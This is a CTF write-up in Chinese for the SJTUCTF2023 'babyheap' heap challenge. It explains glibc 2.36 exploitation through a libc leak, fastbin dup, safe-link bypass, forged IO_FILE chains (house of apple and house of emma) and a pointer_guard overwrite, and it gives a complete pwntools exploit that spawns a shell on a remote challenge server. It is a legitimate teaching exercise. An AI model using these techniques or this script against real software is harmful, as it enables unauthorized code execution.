SJTUCTF2023 babyheap Writeup
Created March 14, 2023
整理、记录下校赛遇到的一道堆利用题目。这道题我比赛时拿了一血,最后也只有2解。
附件:babyheap,libc-2.36.so。
1. 题目
运行checksec ./babyheap
,四项保护全开。采用的是较新的glibc。开始写之前手动从glibc源码编译出了debug版本的 libc-2.36.so,方便调试。
题目形式是堆题中经典的菜单题,比较明显的特征是:没有edit功能,只有add、delete、show。

快速看了下反编译代码,发现了两处疑似的问题点:
-
Double Free:
-
Leak:
根据“无法edit”这个特征,在网上搜了下思路,发现大概是需要用到house of apple的利用手法。
2. 利用思路
最开始的思路是:先利用UAF+unsorted bin泄露libc地址;再利用double free实现任意堆块分配(需要bypass safe-unlink);最后覆盖free_hook从而劫持控制流。但发现2.34之后就没有hook机制了🤦,需要用 IO_FILE exploitation,于是去学了下glibc新版本的一些安全特性。
新版本的glibc特点:
- glibc-2.34之后,__free_hook等其他hook机制被移除了,没办法通过此处劫持控制流。
- 引入了Tcache double free的检查,用House of Botcake绕过:https://forum.butian.net/share/1709
- glibc-2.32之后引入safe-unlink机制,Fastbin 和 Tcache bin 的指针都做了加密处理:https://www.ctfiot.com/65732.html(右移12bit后异或的操作)。
- glibc-2.32之后还引入tcache和fastbin中申请和释放内存地址的对齐检测。
- 有的IO函数存在PTR_DEMANGLE(指针保护)选项,需要绕过。
- 关于 IO_FILE 利用:位于 libc 数据段的vtable是不可以进行写入的,因此通常需要构造假的vtable函数指针数组。
相关利用手法学习:
-
house of kiwi(本质是修改
_IO_file_jumps+0x60
处的_IO_file_sync
指针,达到劫持控制流的目的) -
house of emma(核心是借助_IO_cookie_jumps中“存在任意函数指针调用的成员函数”来劫持控制流)
-
修改
pointer_guard
(在fs:[0x30])的值是为了绕过_IO_vtable_check
函数的检测(也可修改IO_accept_foreign_vtables
)。 -
pointer_guard指向的地址与伪造的IO_file地址应该是一样的,例题中都是chunk0_addr。
-
例题中,触发house of kiwi后原本是要调用_IO_file_sync,但由于设置了vtable地址值的偏移,实际上会调用_IO_file_write(_IO_cookie_write)。
-
例题中,执行函数_IO_cookie_write劫持控制流后,ROP路径为:magic_gadget -> setcontext+61 -> ORW gadgets。
-
-
SROP(不过本题babyheap没有沙盒保护,可以直接劫持控制流到system函数,不必设计ROP ^^)
-
house of apple1(核心是在堆上构造IO_FILE链后,利用IO_FILE_plus._wide_data指针的性质,在exit时可以实现额外的一次任意写)
A处有伪造的IO_FILE:
-
A + 0xd8(vtable指针)指向_IO_wstrn_jumps(为了能够调用到_IO_wstrn_overflow函数)
-
A + 0xa0(_wide_data指针)设置为B(攻击者希望修改B处的数据)
-
exit后,会将B至B + 0x38的地址区域的内容都替换为A + 0xf0(A进行指针类型转换后的overflow_buf成员)或者A + 0x1f0(达到了将B处的数据修改为某个堆地址的目的)(A+0xf0处不需要构造什么)
-
最终思路:程序退出时会执行_IO_OVERFLOW,我们采用house of emma的手法让程序实际执行_IO_cookie_read/write,通过伪造的IO_FILE结构体,就能够设置参数并将控制流劫持到system函数了。但我们在此之前还需要一次任意写来修改pointer_guard。于是,可以用fastbin dup attack把_IO_list_all覆盖为一个堆地址,在堆上构造IO_FILE链,实施house of apple攻击来实现两次写。
遇到问题:exit(0)的时候不调用__fcloseall
了?GDB调试发现,是调用的IO_Cleanup
,且要满足write_ptr > write_base
的约束。
3. exp
from pwn import *
from pwncli import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.binary = "./babyheap"
prog = ELF('./babyheap')
REMOTE = True
DEBUG = False
if REMOTE:
libc = ELF('./libc-2.36.so')
libc.symbols["_IO_wstrn_jumps"] = 0x1f2da0
libc.symbols["_IO_cookie_jumps"] = 0x1f2b60
main_arena_offset = 0x1F6C60
_lock_offset = 0x1f8a00
r = remote("111.186.57.85", 40243)
elif DEBUG:
libc = ELF('./lib/libc.so.6')
main_arena_offset = 0x1D2C60
_lock_offset = 0x1d4a00
pwn_file = "./lib/ld-linux-x86-64.so.2 --library-path ./lib/ ./babyheap"
r = process(pwn_file.split())
else:
libc = ELF('./libc-2.36.so')
libc.symbols["_IO_wstrn_jumps"] = 0x1f2da0
libc.symbols["_IO_cookie_jumps"] = 0x1f2b60
main_arena_offset = 0x1F6C60
_lock_offset = 0x1f8a00
pwn_file = "./lib/ld-linux-x86-64.so.2 --library-path ./lib_origin/ ./babyheap"
r = process(pwn_file.split())
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
def add(index, size, content="AAAA"):
r.sendlineafter("input your choice: ", str(1))
r.sendlineafter("index: ", str(index))
r.sendlineafter("size: ", str(size))
r.sendlineafter("content: ", content)
def delete(index):
r.sendlineafter("input your choice: ", str(2))
r.sendlineafter("index: ", str(index))
def show(index):
r.sendlineafter("input your choice: ", str(4))
r.sendlineafter("index: ", str(index))
def bye():
r.sendlineafter("input your choice: ", str(5))
def exp():
# 1.leak libc address
add(0, 0x600, "AAAA")
add(1, 0x10, "0000")
delete(0)
add(2, 0x600, "BBBB")
delete(0)
show(2)
data = r.recv(6)
print(data)
leak_addr = u64(data.ljust(0x8, b"\x00"))
main_arena_addr = leak_addr - 96
libc_base = main_arena_addr - main_arena_offset
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
print("system_addr: " + hex(system_addr))
sh_addr = libc_base + next(libc.search(b'/bin/sh'))
print("sh_addr: " + hex(sh_addr))
_IO_list_all = libc_base + libc.symbols["_IO_list_all"]
print("_IO_list_all: ", hex(_IO_list_all))
guard_addr = libc_base - 0x2890
print("guard_addr: ", hex(guard_addr))
_IO_wstrn_jumps = libc_base + libc.symbols["_IO_wstrn_jumps"]
print("_IO_wstrn_jumps: ", hex(_IO_wstrn_jumps))
_IO_cookie_jumps = libc_base + libc.symbols["_IO_cookie_jumps"]
print("_IO_cookie_jumps: ", hex(_IO_cookie_jumps))
_lock_addr = libc_base + _lock_offset
# 2. leak heap address (bypass safe-link)
add(3, 0x8, "AAAA")
delete(3)
add(4, 0x8, "AAAA")
delete(3)
show(4)
data = r.recv(5)
key = u64(data.ljust(8, b"\x00"))
print("key: ", hex(key))
heap_base = key << 12
print("heap_base: ", hex(heap_base))
add(5, 0x8, "AAAA")
# 3. fastbin dup attack
base = 6
for i in range(9):
add(base+i, 0x8, "AAAA")
for i in range(7):
delete(base+i)
delete(base+7)
delete(base+8)
delete(base+7)
for i in range(7):
add(base+9+i, 0x8, "CCCC")
# Now, 3 chunks in tcachebin (A->B->A)
# 3.1 bypass safe-link
payload = p64((_IO_list_all) ^ key)
add(base+16, 0x8, payload) # payload
add(base+17, 0x8, "EEEE")
add(base+18, 0x8, "FFFF")
# 3.2 fake IO_FILE
payload = b""
f1_addr = heap_base + 0x8c0 + 0x10
chain1 = f1_addr + 0xf0
f1 = p64(0)
f1 += p64(0xb81) # _IO_read_ptr
f1 += p64(0)*2
f1 += p64(0) # _IO_write_base
f1 += p64(8) # _IO_write_ptr
f1 = f1.ljust(0x68, b"\x00")
f1 += p64(chain1) # chain
f1 += p32(0) + p32(8) # _flags2
f1 = f1.ljust(0x88, b'\x00')
f1 += p64(_lock_addr) # _lock = writable address
f1 = f1.ljust(0xA0, b'\x00')
f1 += p64(guard_addr) # _wide_data
f1 = f1.ljust(0xC0, b'\x00')
f1 += p64(0) # _mode = 0
f1 = f1.ljust(0xD8, b'\x00')
f1 += p64(_IO_wstrn_jumps) # vtable
guard_new_value = f1_addr + 0xf0
print("guard_new_value: " + hex(guard_new_value))
f2_addr = chain1
chain2 = 0
f2 = 4 * p64(0)
f2 += p64(0) # _IO_write_base = 0
f2 += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
f2 += p64(0)
f2 += p64(0) # _IO_buf_base
f2 += p64(0) # _IO_buf_end
f2 = f2.ljust(0x68, b'\x00')
f2 += p64(chain2) # _chain
f2 = f2.ljust(0x88, b'\x00')
f2 += p64(heap_base) # _lock = writable address
f2 = f2.ljust(0xC0, b'\x00')
f2 += p64(0) # _mode = 0
f2 = f2.ljust(0xD8, b'\x00')
f2 += p64(_IO_cookie_jumps + 0x58) # vtable # call overflow? call read!
f2 += p64(sh_addr) # cookie
f2 += p64(ROL(system_addr ^ guard_new_value, 0x11)) # __io_functions.read
payload = f1.ljust(0xF0, b"\x00") + f2
# /home/hacker/CTF/tools/libc-compile/glibc-2.36/libio/genops.c
# GDB: b _IO_cleanup; b _IO_flush_all_lockp; b _IO_wstrn_overflow
add(base+19, 0x600, payload)
# 3.3 triger fastbin attack, alloc to _IO_list_all
# malloc(): unaligned tcache chunk detected\n (16bytes align!)
add(base+20, 0x18, p64(f1_addr))
# 4. trigger exit(), traverse _IO_list_all
bye()
r.interactive()
if __name__ == "__main__":
exp()